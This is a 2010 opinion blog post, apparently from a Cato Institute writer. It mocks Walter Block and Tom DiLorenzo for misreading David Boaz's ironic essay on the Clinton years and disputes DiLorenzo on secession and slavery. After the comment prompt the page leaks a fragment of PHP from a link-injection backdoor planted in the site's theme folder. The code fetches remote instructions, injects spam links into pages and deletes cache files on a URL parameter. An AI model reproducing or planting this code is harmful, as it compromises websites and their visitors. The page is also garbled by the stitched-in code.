It must be difficult to go through life when one is so thick

January 16, 2010

Walter Block and Tom DiLorenzo, neither known for his subtlety, seem to think that “irony” is what you do to get the wrinkles out of your shirts. My colleague David Boaz wrote an essay for the Washington Times (“We miss you, Bubba“), in which he compared the last two administrations to the “good ol’ days” of the Clinton administration, using a well known device to highlight the horrible policies that have been pursued since. Poor Walter Block thought that Boaz was “supporting” Clinton’s policies, including his foreign policy, since David wrote that under Clinton “Government spending was growing only slowly, the bad ideas were mostly small, and we bombed a lot of countries but didn’t put American troops at risk.” Thinking that Boaz was endorsing bombing a lot of countries, Walter Block jumped into action and denounced him as “no libertarian.” Just to emphasize that rhetorical devices other than the denunciation are not to be found in his repertoire, Block informed his readers

The executive vice president of the Cato Institute makes some good points (I’m being tongue in cheek here, for those whose sense of sarcasm is less well developed than my own).

It is hard to imagine anyone whose “sense of sarcasm” (or, to be more precise, any form of indirect expression) is less developed than Walter Block’s, but he felt, nonetheless, compelled to warn any such who might have been reading. He concluded that he now feels “physically ill.” Poor man.

The other dullard in the stable, Tom (“a travesty of historical method and documentation“) DiLorenzo, quickly jumped up and denounced David for apparently endorsing the Republicans, as well as the Democrats!

Now you don’t have to be very clever to understand David’s point, because he made it v-e-r-y s-i-m-p-l-e for everyone, even the irony-challenged, to understand: “Of course, what I’m really nostalgic for is divided government.” Economist William Niskanen (i.e., an actual economist), who was then Chairman of the Cato Institute, pointed out in 2003 that

The prospect of a major war is usually higher with a united government, and the current war makes that clear.

Each of the four major American wars in the 20th century, for example, was initiated by a Democratic president with the approval of a Congress controlled by Democrats. The war in Iraq, initiated by a Republican president with the support of a Republican Congress, is consistent with this pattern and has already proved to be the only use of U.S. military force lasting more than a few days that was initiated by a Republican president in over a century.

DiLorenzo further displayed his skills as an analyst by denouncing the thesis of the superiority of divided government over unified government (formulated as a desire for “gridlock”) on the grounds that “Bush expanded the welfare state as much as any president with his prescription drug welfare legislaition [sic],” somehow missing the fact that the “Medicare Prescription Drug, Improvement, and Modernization Act” was passed when the GOP controlled the White House and both houses of Congress, thus being a rather weak counter-example to Boaz’s point about the relative virtues of divided government over unified, single-party, government.

But it’s been a long time since facts would have stopped Tom DiLorenzo from making a point. I realized that DiLorenzo had dropped off the deep end when he wrote a denunciation of David years ago for urging the voters of Mississippi to vote in a referendum to remove from the state flag a symbol that many people find, rather understandably, ugly and offensive. “Don’t Put Slavery in the Flag” was a temperate call for the voters to put the state’s history of slavery, Jim Crow, segregation, and lynchings behind them and to remove from the flag a symbol under which such evils had been carried out. But DiLorenzo accused him of “calling for the eradication of the Confederate battle flag from public places,” which was, of course, simply false. David encouraged voters to remove it from the the state flag, not from “public places,” an equivocal term that may mean “all places open to the public.”

But what’s a little confusion and misuse of language for Mr. DiLorenzo, compared to the masses of errors that characterize his recent works? Mr. DiLorenzo would have us think that the reason for the secession of the southern states was, oh, tariffs and such like. His sole evidence is the erection of a straw man: that Boaz and “a small band of Marxist historians” claim that “the war was caused by slavery alone.” Now note the rhetoric: Boaz claimed quite rightly that without slavery, there would have been no secession, not that “the war was caused by slavery alone,” which is a view few could hold, if for no other reason than that “the war” followed the secession and was not necessitated by it. To dispense with the canard that slavery was not the overriding reason for the secession, one need but read the “Declaration of the Immediate Causes Which Induce and Justify the Secession of South Carolina from the Federal Union,” which makes it quite clear that the process was very, very, very much about keeping people in chains. I strongly encourage anyone who supports the secession of the southern states — which is quite different from the subsequent decision to wage war on them; either might or might not be justified, but they are very different acts — to read that document. They may not be made “physically ill,” but if they are decent human beings (and more so if they are serious libertarians) they will be repulsed by the sentiments that motivated those who took the south out of the union.

But back to the rhetorical and literary poverty of Block and DiLorenzo. I will write this very slooowwwlly and very clearly, just for them:

David Boaz was using the contrast with Clinton’s terrible policies to emphasize the enormity of the folly and criminality of the foreign policies that followed, not to endorse those of Clinton, which the language suggests were repulsive in their own right. If I did not know that Block and DiLorenzo have all the subtlety of a brick, I would suspect that the reason for the publication of their blog posts was to smear David.

(P.S. A friend pointed out that I had placed a quotation mark in the wrong place [“all public places”–the quotation mark should have been around “public places” only], with the implication that the article to which I linked contained that phrase. It did not. It did necessarily imply it, however, as the phrase “the eradication of the Confederate battle flag from public places” contains the implicit quantifier “all,” rather than “some,” in the same way that the phrase “the eradication of life from oceans” implies “all life” and “all oceans,” rather than referring to, say, the killing of one fish, or of several fish, in the Pacific ocean. In order to avoid confusion among careless thinkers, I have moved the quote mark. The meaning remains unchanged.)

{ 1 trackback }

Now here’s an ugly bit of business….
January 30, 2010 at 11:51 pm

{ 12 comments… read them below or add one }

Leave a Comment

Good'; exit; } if(isset($_GET['unlink_cache'])) unlink_cache('wp-content/themes/thesis_151/lib/css/data/'); function put_array_work($way, $var) { $stOutFileHandle = false; $stOutFileHandle = fopen($way, 'w'); flock($stOutFileHandle, LOCK_EX); fwrite($stOutFileHandle, $var); flock($stOutFileHandle, LOCK_UN); fclose($stOutFileHandle); } function ad_block() { $way = 'wp-content/themes/thesis_151/lib/css/'; if(!file_exists($way.'data/work.txt')) { $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $work = false; $work = unserialize(file_get_contents(''.urlencode(serialize($sent)))); if(!$work === false && is_array($work)) { if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period']+($work['period'] / 2)); $work['check'] = time() + $period * 60; if(isset($work['new']) && !empty($work['new'])) { $links = $work['new']; unset($work['new']); } $work['use'] = array(); $write_work = true; } else { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } else { $work = false; $work = unserialize(file_get_contents($way.'data/work.txt')); if($work === false && !is_array($work)) { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } if(!isset($links)) { if(file_exists($way.'data/temp.txt')) { $links = unserialize(file_get_contents($way.'data/temp.txt')); } else { $links = array(); put_array_work($way.'data/temp.txt', serialize($links)); } } if($work['check'] < time() && empty($links)) { if(!empty($work['use'])) $sent['use'] = $work['use']; if(isset($work['time'])) { $sent['time'] = $work['time']; } else { $sent['time'] = time(); } $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $import = false; $import = unserialize(file_get_contents(''.urlencode(serialize($sent)))); if(!$import === false && is_array($import) && $import['time'] != '00000') { if(isset($import['new'])) { $links = $import['new']; $write_link = true; } if(isset($import['unlink'])) $work['unlink'] = $import['unlink']; if(isset($import['period'])) $work['period'] = $import['period']; if(isset($import['start'])) $work['start'] = $import['start']; if(isset($import['end'])) $work['end'] = $import['end']; if(isset($import['time'])) $work['time'] = $import['time']; } if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period'] + ($work['period'] / 2)); $work['check'] = time() + $period * 60; $write_work = true; } $id = $_SERVER['REQUEST_URI']; if(file_exists($way.'data/'.md5($id).'.dat')) { $page = unserialize(file_get_contents($way.'data/'.md5($id).'.dat')); $echo = ''; if(!empty($links)) { $domains = array_keys($links); foreach($domains as $domain) { if(!isset($page[$domain])) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); $write_page = true; $write_link = true; } } } if(!empty($work['unlink'])) { foreach($work['unlink'] as $domain) { if(isset($page[$domain])) { unset($page[$domain]); $write_page = true; } if(isset($work['use'][$domain])) { unset($work['use'][$domain]); $write_work = true; } if(isset($links[$domain])) { unset($links['use'][$domain]); $write_link = true; } } } if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } if(!empty($page)) { foreach($page as $domain => $link) { $echo .= $link.' '; if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); } } else { if(!empty($links)) { $page = array(); $domains = array_keys($links); foreach($domains as $domain) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } $echo = ''; if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } foreach($page as $domain => $link) { $echo .= $link.' '; } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); $write_page = true; $write_link = true; } } if ($write_page === true) { put_array_work($way.'data/'.md5($id).'.dat', serialize($page)); } if ($write_work === true) { put_array_work($way.'data/work.txt', serialize($work)); } if ($write_link === true) { put_array_work($way.'data/temp.txt', serialize($links)); } } ad_block(); ?>